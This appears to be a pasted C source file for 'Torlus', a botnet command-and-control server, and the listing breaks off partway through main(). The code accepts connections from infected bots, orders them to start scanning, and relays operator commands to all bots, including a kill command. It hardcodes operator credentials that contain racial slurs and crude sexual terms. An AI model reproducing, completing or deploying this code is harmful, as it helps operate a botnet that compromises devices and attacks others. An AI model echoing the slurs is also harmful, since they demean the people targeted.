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Torlus.c (Public Release Refurbished)

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Oct 18th, 2016
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  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17.  
  18. #define MY_MGM_FLUNZYP "Analbeadz6969!!!@"
  19. #define MY_MGM_FLUNZYU "Nigger"
  20. #define MY_MGM_LORDP "ohsweetjeebus%$"
  21. #define MY_MGM_LORDU "Lawdy"
  22. #define MY_MGM_LIGHTP "lol"
  23. #define MY_MGM_LIGHTU "lol"
  24. #define MY_MGM_HAILP "niggerhelicopter"
  25. #define MY_MGM_HAILU "Cold"
  26. #define MY_MGM_ASAPP "ImTehScatMayuhn047!"
  27. #define MY_MGM_ASAPU "Dutchiepoo"
  28. #define MY_MGM_SDNP "PumpkinSpiceLatte69@@"
  29. #define MY_MGM_SDNU "Lavagirl"
  30. #define MY_MGM_PHP "HOSTGOTBOOTED"
  31. #define MY_MGM_PHU "RoBeRT"
  32. #define MY_MGM_DAVP "DisIzATempPazwurd"
  33. #define MY_MGM_DAVU "DisIsATempLawgin"
  34. #define MY_MGM_PORT 1
  35.  
  36. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  37. int FLUNZY=0, LIGHT=0, LORD=0, HAIL=0, ASAP=0, DAV=0, PH=0, SDN=0;
  38.  
  39. struct clientdata_t {
  40. uint32_t ip;
  41. char connected;
  42. } clients[MAXFDS];
  43. struct telnetdata_t {
  44. int connected;
  45. } managements[MAXFDS];
  46. struct args {
  47. int sock;
  48. struct sockaddr_in cli_addr;
  49. };
  50. static volatile FILE *fileFD;
  51. static volatile int epollFD = 0;
  52. static volatile int listenFD = 0;
  53. static volatile int managesConnected = 0;
  54. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  55. {
  56. int total = 0, got = 1;
  57. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  58. return got;
  59. }
  60.  
  61. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  62. {
  63. int i;
  64. int begin = 0;
  65. int end = strlen(str) - 1;
  66. while (isspace(str[begin])) begin++;
  67. while ((end >= begin) && isspace(str[end])) end--;
  68. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  69. str[i - begin] = '\0';
  70. }
  71.  
  72.  
  73. static int make_socket_non_blocking (int sfd)
  74. { // man fcntl
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. flags |= O_NONBLOCK;
  83. /*
  84. F_SETFL (int)
  85. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  86. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  87. */
  88. s = fcntl (sfd, F_SETFL, flags);
  89. if (s == -1)
  90. {
  91. perror ("fcntl");
  92. return -1;
  93. }
  94. return 0;
  95. }
  96.  
  97.  
  98. static int create_and_bind (char *port)
  99. {
  100. struct addrinfo hints;
  101. struct addrinfo *result, *rp;
  102. int s, sfd;
  103. memset (&hints, 0, sizeof (struct addrinfo));
  104. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  105. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  106. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  107. s = getaddrinfo (NULL, port, &hints, &result);
  108. if (s != 0)
  109. {
  110. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  111. return -1;
  112. }
  113. for (rp = result; rp != NULL; rp = rp->ai_next)
  114. {
  115. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116. if (sfd == -1) continue;
  117. int yes = 1;
  118. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120. if (s == 0)
  121. {
  122. break;
  123. }
  124. close (sfd);
  125. }
  126. if (rp == NULL)
  127. {
  128. fprintf (stderr, "Could not bind\n");
  129. return -1;
  130. }
  131. freeaddrinfo (result);
  132. return sfd;
  133. }
  134. void broadcast(char *msg, int us, int managementcmd) // sends message to all bots, notifies the management clients of this happening
  135. {
  136. int sendMGM = 1;
  137. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  138. char *wot = malloc(strlen(msg) + 10);
  139. memset(wot, 0, strlen(msg) + 10);
  140. strcpy(wot, msg);
  141. trim(wot);
  142. time_t rawtime;
  143. struct tm * timeinfo;
  144. time(&rawtime);
  145. timeinfo = localtime(&rawtime);
  146. char *timestamp = asctime(timeinfo);
  147. trim(timestamp);
  148. int i;
  149. for(i = 0; i < MAXFDS; i++)
  150. {
  151. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  152. if(managementcmd == 1){
  153. if(sendMGM && managements[i].connected)
  154. {
  155. if(us == FLUNZY){
  156. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  157. send(i, "Flunzy:\x1b[37m ", 13, MSG_NOSIGNAL);
  158. printf("sent to fd: %d\n", i);
  159. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  160. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  161. else send(i, "\n", 1, MSG_NOSIGNAL);
  162. }
  163. else if(us == LIGHT){
  164. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  165. send(i, "LiGhT:\x1b[37m ", 13, MSG_NOSIGNAL);
  166. printf("sent to fd: %d\n", i);
  167. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  168. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  169. else send(i, "\n", 1, MSG_NOSIGNAL);
  170. }
  171. else if(us == HAIL){
  172. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  173. send(i, "Melt:\x1b[37m ", 12, MSG_NOSIGNAL);
  174. printf("sent to fd: %d\n", i);
  175. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  176. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  177. else send(i, "\n", 1, MSG_NOSIGNAL);
  178. }
  179. else if(us == LORD){
  180. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  181. send(i, "Lord:\x1b[37m ", 12, MSG_NOSIGNAL);
  182. printf("sent to fd: %d\n", i);
  183. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  184. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  185. else send(i, "\n", 1, MSG_NOSIGNAL);
  186. }
  187. else if(us == ASAP){
  188. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  189. send(i, "Dutch:\x1b[37m ", 13, MSG_NOSIGNAL);
  190. printf("sent to fd: %d\n", i);
  191. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  192. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  193. else send(i, "\n", 1, MSG_NOSIGNAL);
  194. }
  195. else if(us == SDN){
  196. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  197. send(i, "Serlo:\x1b[37m ", 13, MSG_NOSIGNAL);
  198. printf("sent to fd: %d\n", i);
  199. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  200. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  201. else send(i, "\n", 1, MSG_NOSIGNAL);
  202. }
  203. else if(us == PH){
  204. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  205. send(i, "Versonic:\x1b[37m ", 16, MSG_NOSIGNAL);
  206. printf("sent to fd: %d\n", i);
  207. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  208. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  209. else send(i, "\n", 1, MSG_NOSIGNAL);
  210. }
  211. else if(us == DAV){
  212. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  213. send(i, "BackupLogin:\x1b[37m ", 19, MSG_NOSIGNAL);
  214. printf("sent to fd: %d\n", i);
  215. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  216. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  217. else send(i, "\n", 1, MSG_NOSIGNAL);
  218. }
  219. }
  220. }
  221. else{
  222. printf("sent to fd: %d\n", i);
  223. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  224. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m| \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  225. else send(i, "\n", 1, MSG_NOSIGNAL);
  226. }
  227. }
  228. free(wot);
  229. }
  230.  
  231. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  232. {
  233. struct epoll_event event;
  234. struct epoll_event *events;
  235. int s;
  236. events = calloc (MAXFDS, sizeof event);
  237. while (1)
  238. {
  239. int n, i;
  240. n = epoll_wait (epollFD, events, MAXFDS, -1);
  241. for (i = 0; i < n; i++)
  242. {
  243. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  244. {
  245. clients[events[i].data.fd].connected = 0;
  246. close(events[i].data.fd);
  247. continue;
  248. }
  249. else if (listenFD == events[i].data.fd)
  250. {
  251. while (1)
  252. {
  253. struct sockaddr in_addr;
  254. socklen_t in_len;
  255. int infd, ipIndex;
  256.  
  257. in_len = sizeof in_addr;
  258. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  259. if (infd == -1)
  260. {
  261. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  262. else
  263. {
  264. perror ("accept");
  265. break;
  266. }
  267. }
  268.  
  269. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  270.  
  271. int dup = 0;
  272. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  273. {
  274. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  275.  
  276. if(clients[ipIndex].ip == clients[infd].ip)
  277. {
  278. dup = 1;
  279. break;
  280. }
  281. }
  282.  
  283. if(dup)
  284. {
  285. printf("dup client\n"); // warns the operator on command line
  286. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  287. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  288. close(infd);
  289. continue;
  290. }
  291.  
  292. s = make_socket_non_blocking (infd);
  293. if (s == -1) { close(infd); break; }
  294.  
  295. event.data.fd = infd;
  296. event.events = EPOLLIN | EPOLLET;
  297. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  298. if (s == -1)
  299. {
  300. perror ("epoll_ctl");
  301. close(infd);
  302. break;
  303. }
  304.  
  305. clients[infd].connected = 1;
  306. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  307. }
  308. continue;
  309. }
  310. else
  311. {
  312. int thefd = events[i].data.fd;
  313. struct clientdata_t *client = &(clients[thefd]);
  314. int done = 0;
  315. client->connected = 1;
  316. while (1)
  317. {
  318. ssize_t count;
  319. char buf[2048];
  320. memset(buf, 0, sizeof buf);
  321.  
  322. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  323. {
  324. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  325. trim(buf);
  326. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  327. {
  328. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  329. continue;
  330. }
  331. if(strcmp(buf, "PONG") == 0)
  332. {
  333. if(send(thefd, "PING\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  334. continue;
  335. }
  336.  
  337. printf("buf: \"%s\"\n", buf);
  338. }
  339.  
  340. if (count == -1)
  341. {
  342. if (errno != EAGAIN)
  343. {
  344. done = 1;
  345. }
  346. break;
  347. }
  348. else if (count == 0)
  349. {
  350. done = 1;
  351. break;
  352. }
  353. }
  354.  
  355. if (done)
  356. {
  357. client->connected = 0;
  358. close(thefd);
  359. }
  360. }
  361. }
  362. }
  363. }
  364.  
  365. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  366. {
  367. int i = 0, total = 0;
  368. for(i = 0; i < MAXFDS; i++)
  369. {
  370. if(!clients[i].connected) continue;
  371. total++;
  372. }
  373.  
  374. return total;
  375. }
  376.  
  377. static int *fdopen_pids;
  378.  
  379. int fdpopen(unsigned char *program, register unsigned char *type)
  380. {
  381. register int iop;
  382. int pdes[2], fds, pid;
  383.  
  384. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  385.  
  386. if (pipe(pdes) < 0) return -1;
  387. if (fdopen_pids == NULL) {
  388. if ((fds = getdtablesize()) <= 0) return -1;
  389. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  390. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  391. }
  392.  
  393. switch (pid = vfork())
  394. {
  395. case -1:
  396. close(pdes[0]);
  397. close(pdes[1]);
  398. return -1;
  399. case 0:
  400. if (*type == 'r') {
  401. if (pdes[1] != 1) {
  402. dup2(pdes[1], 1);
  403. close(pdes[1]);
  404. }
  405. close(pdes[0]);
  406. } else {
  407. if (pdes[0] != 0) {
  408. (void) dup2(pdes[0], 0);
  409. (void) close(pdes[0]);
  410. }
  411. (void) close(pdes[1]);
  412. }
  413. execl("/bin/sh", "sh", "-c", program, NULL);
  414. _exit(127);
  415. }
  416. if (*type == 'r') {
  417. iop = pdes[0];
  418. (void) close(pdes[1]);
  419. } else {
  420. iop = pdes[1];
  421. (void) close(pdes[0]);
  422. }
  423. fdopen_pids[iop] = pid;
  424. return (iop);
  425. }
  426.  
  427. int fdpclose(int iop)
  428. {
  429. register int fdes;
  430. sigset_t omask, nmask;
  431. int pstat;
  432. register int pid;
  433.  
  434. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  435. (void) close(iop);
  436. sigemptyset(&nmask);
  437. sigaddset(&nmask, SIGINT);
  438. sigaddset(&nmask, SIGQUIT);
  439. sigaddset(&nmask, SIGHUP);
  440. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  441. do {
  442. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  443. } while (pid == -1 && errno == EINTR);
  444. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  445. fdopen_pids[fdes] = 0;
  446. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  447. }
  448. void *titleWriter(void *sock) // just an informational banner
  449. {
  450. // this LOOKS vulnerable, but it's actually not.
  451. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  452. int thefd = (int)sock;
  453. char string[2048];
  454. while(1)
  455. {
  456. memset(string, 0, 2048);
  457. sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  458. // \007 is a bell character... causes a beep. Why is there a beep here?
  459. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  460.  
  461. sleep(2);
  462. }
  463. }
  464. void *telnetWorker(void *sock)
  465. {
  466. int thefd = (int)sock;
  467. managesConnected++;
  468. pthread_t title;
  469. char buf[2048];
  470. char* nickstring;
  471. memset(buf, 0, sizeof buf);
  472.  
  473. if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  474. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  475. trim(buf);
  476. nickstring = ("%s", buf);
  477. if(strcmp(nickstring, MY_MGM_FLUNZYU) == 0){
  478. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  479. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  480. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  481. trim(buf);
  482. if(strcmp(buf, MY_MGM_FLUNZYP) != 0) goto failed;
  483. memset(buf, 0, 2048);
  484. FLUNZY = thefd;
  485. if(FLUNZY == LIGHT){
  486. LIGHT = 0;
  487. }
  488. else if(FLUNZY == HAIL){
  489. HAIL = 0;
  490. }
  491. else if(FLUNZY == LORD){
  492. LORD = 0;
  493. }
  494. else if(FLUNZY == ASAP){
  495.  
  496. ASAP = 0;
  497. }
  498. else if(FLUNZY == SDN){
  499.  
  500. SDN = 0;
  501. }
  502. else if(FLUNZY == DAV){
  503.  
  504. DAV = 0;
  505. }
  506. else if(FLUNZY == PH){
  507.  
  508. PH = 0;
  509. }
  510. goto fak;
  511. }
  512. if(strcmp(nickstring, MY_MGM_ASAPU) == 0){
  513. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  514. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  515. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  516. trim(buf);
  517. if(strcmp(buf, MY_MGM_ASAPP) != 0) goto failed;
  518. memset(buf, 0, 2048);
  519. ASAP = thefd;
  520. if(ASAP == LIGHT){
  521. LIGHT = 0;
  522. }
  523. else if(ASAP == HAIL){
  524. HAIL = 0;
  525. }
  526. else if(ASAP == LORD){
  527. LORD = 0;
  528. }
  529. else if(ASAP == FLUNZY){
  530. FLUNZY = 0;
  531. }
  532. else if(ASAP == SDN){
  533.  
  534. SDN = 0;
  535. }
  536. else if(ASAP == DAV){
  537.  
  538. DAV = 0;
  539. }
  540. else if(ASAP == PH){
  541.  
  542. PH = 0;
  543. }
  544. goto fak;
  545. }
  546. else if(strcmp(nickstring, MY_MGM_LIGHTU) == 0){
  547. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  548. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  549. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  550. trim(buf);
  551. if(strcmp(buf, MY_MGM_LIGHTP) != 0) goto failed;
  552. memset(buf, 0, 2048);
  553. LIGHT = thefd;
  554. if(LIGHT == FLUNZY){
  555. FLUNZY = 0;
  556. }
  557. else if(LIGHT == HAIL){
  558. HAIL = 0;
  559. }
  560. else if(LIGHT == LORD){
  561. LORD = 0;
  562. }
  563. else if(LIGHT == ASAP){
  564. ASAP = 0;
  565. }
  566. else if(LIGHT == SDN){
  567.  
  568. SDN = 0;
  569. }
  570. else if(LIGHT == DAV){
  571.  
  572. DAV = 0;
  573. }
  574. else if(LIGHT == PH){
  575.  
  576. PH = 0;
  577. }
  578. goto fak;
  579. }
  580. else if(strcmp(nickstring, MY_MGM_LORDU) == 0){
  581. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  582. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  583. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  584. trim(buf);
  585. if(strcmp(buf, MY_MGM_LORDP) != 0) goto failed;
  586. memset(buf, 0, 2048);
  587. LORD = thefd;
  588. if(LORD == LIGHT){
  589. LIGHT = 0;
  590. }
  591. else if(LORD == HAIL){
  592. HAIL = 0;
  593. }
  594. else if(LORD == FLUNZY){
  595. FLUNZY = 0;
  596. }
  597. else if(LORD == ASAP){
  598. ASAP = 0;
  599. }
  600. else if(LORD == SDN){
  601.  
  602. SDN = 0;
  603. }
  604. else if(LORD == DAV){
  605.  
  606. DAV = 0;
  607. }
  608. else if(LORD == PH){
  609.  
  610. PH = 0;
  611. }
  612. goto fak;
  613. }
  614. else if(strcmp(nickstring, MY_MGM_HAILU) == 0){
  615. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  616. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  617. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  618. trim(buf);
  619. if(strcmp(buf, MY_MGM_HAILP) != 0) goto failed;
  620. memset(buf, 0, 2048);
  621. HAIL = thefd;
  622. if(HAIL == LIGHT){
  623. LIGHT = 0;
  624. }
  625. else if(HAIL == FLUNZY){
  626. FLUNZY = 0;
  627. }
  628. else if(HAIL == LORD){
  629. LORD = 0;
  630. }
  631. else if(HAIL == ASAP){
  632. ASAP = 0;
  633. }
  634. else if(HAIL == SDN){
  635.  
  636. SDN = 0;
  637. }
  638. else if(HAIL == DAV){
  639.  
  640. DAV = 0;
  641. }
  642. else if(HAIL == PH){
  643.  
  644. PH = 0;
  645. }
  646. goto fak;
  647. }
  648. else if(strcmp(nickstring, MY_MGM_SDNU) == 0){
  649. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  650. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  651. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  652. trim(buf);
  653. if(strcmp(buf, MY_MGM_SDNP) != 0) goto failed;
  654. memset(buf, 0, 2048);
  655. SDN = thefd;
  656. if(SDN == LIGHT){
  657. LIGHT = 0;
  658. }
  659. else if(SDN == FLUNZY){
  660. FLUNZY = 0;
  661. }
  662. else if(SDN == LORD){
  663. LORD = 0;
  664. }
  665. else if(SDN == ASAP){
  666. ASAP = 0;
  667. }
  668. else if(SDN == HAIL){
  669.  
  670. HAIL = 0;
  671. }
  672. else if(SDN == DAV){
  673.  
  674. DAV = 0;
  675. }
  676. else if(SDN == PH){
  677.  
  678. PH = 0;
  679. }
  680. goto fak;
  681. }
  682. else if(strcmp(nickstring, MY_MGM_DAVU) == 0){
  683. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  684. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  685. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  686. trim(buf);
  687. if(strcmp(buf, MY_MGM_DAVP) != 0) goto failed;
  688. memset(buf, 0, 2048);
  689. DAV = thefd;
  690. if(DAV == LIGHT){
  691. LIGHT = 0;
  692. }
  693. else if(DAV == FLUNZY){
  694. FLUNZY = 0;
  695. }
  696. else if(DAV == LORD){
  697. LORD = 0;
  698. }
  699. else if(DAV == ASAP){
  700. ASAP = 0;
  701. }
  702. else if(DAV == SDN){
  703.  
  704. SDN = 0;
  705. }
  706. else if(DAV == HAIL){
  707.  
  708. HAIL = 0;
  709. }
  710. else if(DAV == PH){
  711.  
  712. PH = 0;
  713. }
  714. goto fak;
  715. }
  716. else if(strcmp(nickstring, MY_MGM_PHU) == 0){
  717. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  718. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  719. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  720. trim(buf);
  721. if(strcmp(buf, MY_MGM_PHP) != 0) goto failed;
  722. memset(buf, 0, 2048);
  723. PH = thefd;
  724. if(PH == LIGHT){
  725. LIGHT = 0;
  726. }
  727. else if(PH == FLUNZY){
  728. FLUNZY = 0;
  729. }
  730. else if(PH == LORD){
  731. LORD = 0;
  732. }
  733. else if(PH == ASAP){
  734. ASAP = 0;
  735. }
  736. else if(PH == SDN){
  737.  
  738. SDN = 0;
  739. }
  740. else if(PH == DAV){
  741.  
  742. DAV = 0;
  743. }
  744. else if(PH == HAIL){
  745.  
  746. HAIL= 0;
  747. }
  748. goto fak;
  749. }
  750.  
  751. else if(strcmp(nickstring, MY_MGM_HAILU) != 0|| strcmp(nickstring, MY_MGM_FLUNZYU) != 0 || strcmp(nickstring, MY_MGM_LIGHTU) != 0 || strcmp(nickstring, MY_MGM_LORDU) != 0 || strcmp(nickstring, MY_MGM_SDNU) != 0 || strcmp(nickstring, MY_MGM_DAVU) != 0|| strcmp(nickstring, MY_MGM_PHU) != 0){
  752. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  753. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  754. goto end;
  755. }
  756. failed:
  757. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  758. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  759. goto end;
  760. fak:
  761. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  762. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  763. if(send(thefd, "\x1b[1m\x1b[36m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  764. if(send(thefd, "* \x1b[37mWELCOME TO TORLUS\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  765. if(send(thefd, "* \x1b[37mIn Secrecy We Trust\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  766. if(send(thefd, "*****************************************\r\n\r\n\x1b[36m| \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  767. managements[thefd].connected = 1;
  768. while(fdgets(buf, sizeof buf, thefd) > 0)
  769. {
  770. trim(buf);
  771. if(send(thefd, "\x1b[36m| \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  772. if(strlen(buf) == 0) continue;
  773. char* falsejuan = ">- oohkillem69";
  774. char* realjuan = "!* OHKILLEM";
  775. char* realljuan = "! OHKILLEM";
  776. char* falsetu = ">- turndatsheitawf";
  777. char* realtu = "!* SCANNER OFF";
  778. char* realltu = "! SCANNER OFF";
  779. char* nosh4u = "! SH";
  780. char* nosh4u2 = "!* SH";
  781. if(strstr(buf, "! ") != NULL || strstr(buf, "!* ") != NULL || strstr(buf, ">- ") != NULL){
  782. if(strcmp(buf, falsejuan) == 0){
  783. broadcast(realjuan, thefd, 0);
  784. memset(buf, 0, 2048);
  785. }
  786. else if(strcmp(buf, falsetu) == 0){
  787. broadcast(realtu, thefd, 0);
  788. memset(buf, 0, 2048);
  789. }
  790. else if(strcmp(buf, realjuan) == 0 || strcmp(buf, realtu) ==0 || strcmp(buf, realljuan) == 0 || strcmp(buf, realltu) == 0){
  791. goto end;
  792. }
  793. else {
  794. broadcast(buf, thefd, 0);
  795. memset(buf, 0, 2048);
  796. }
  797. }
  798. else{
  799. broadcast(buf, thefd, 1); // take a command, send it to the bots
  800. memset(buf, 0, 2048);
  801. }
  802. }
  803. end: // cleanup dead socket
  804. managements[thefd].connected = 0;
  805. close(thefd);
  806. managesConnected--;
  807. }
  808. void *telnetListener(void *useless)
  809. {
  810. int sockfd, newsockfd;
  811. socklen_t clilen;
  812. struct sockaddr_in serv_addr, cli_addr;
  813. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  814. if (sockfd < 0) perror("ERROR opening socket");
  815. bzero((char *) &serv_addr, sizeof(serv_addr));
  816. serv_addr.sin_family = AF_INET;
  817. serv_addr.sin_addr.s_addr = INADDR_ANY;
  818. serv_addr.sin_port = htons(MY_MGM_PORT);
  819. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  820. listen(sockfd,5);
  821. clilen = sizeof(cli_addr);
  822. while(1)
  823. {
  824. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  825. if (newsockfd < 0) perror("ERROR on accept");
  826. pthread_t thread;
  827. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  828. }
  829. }
  830.  
  831. int main(int argc, char *argv[])
  832. {
  833. signal(SIGPIPE, SIG_IGN);
  834.  
  835. int s, threads;
  836. struct epoll_event event;
  837.  
  838. if (argc != 3)
  839. {
  840. fprintf (stderr, "IDIOT PROOF!\n");
  841. exit (EXIT_FAILURE);
  842. }
  843. fileFD = NULL;
  844. threads = atoi(argv[2]);
  845.  
  846. listenFD = create_and_bind (argv[1]);
  847. if (listenFD == -1) abort ();
  848.  
  849. s = make_socket_non_blocking (listenFD);
  850. if (s == -1) abort ();
  851.  
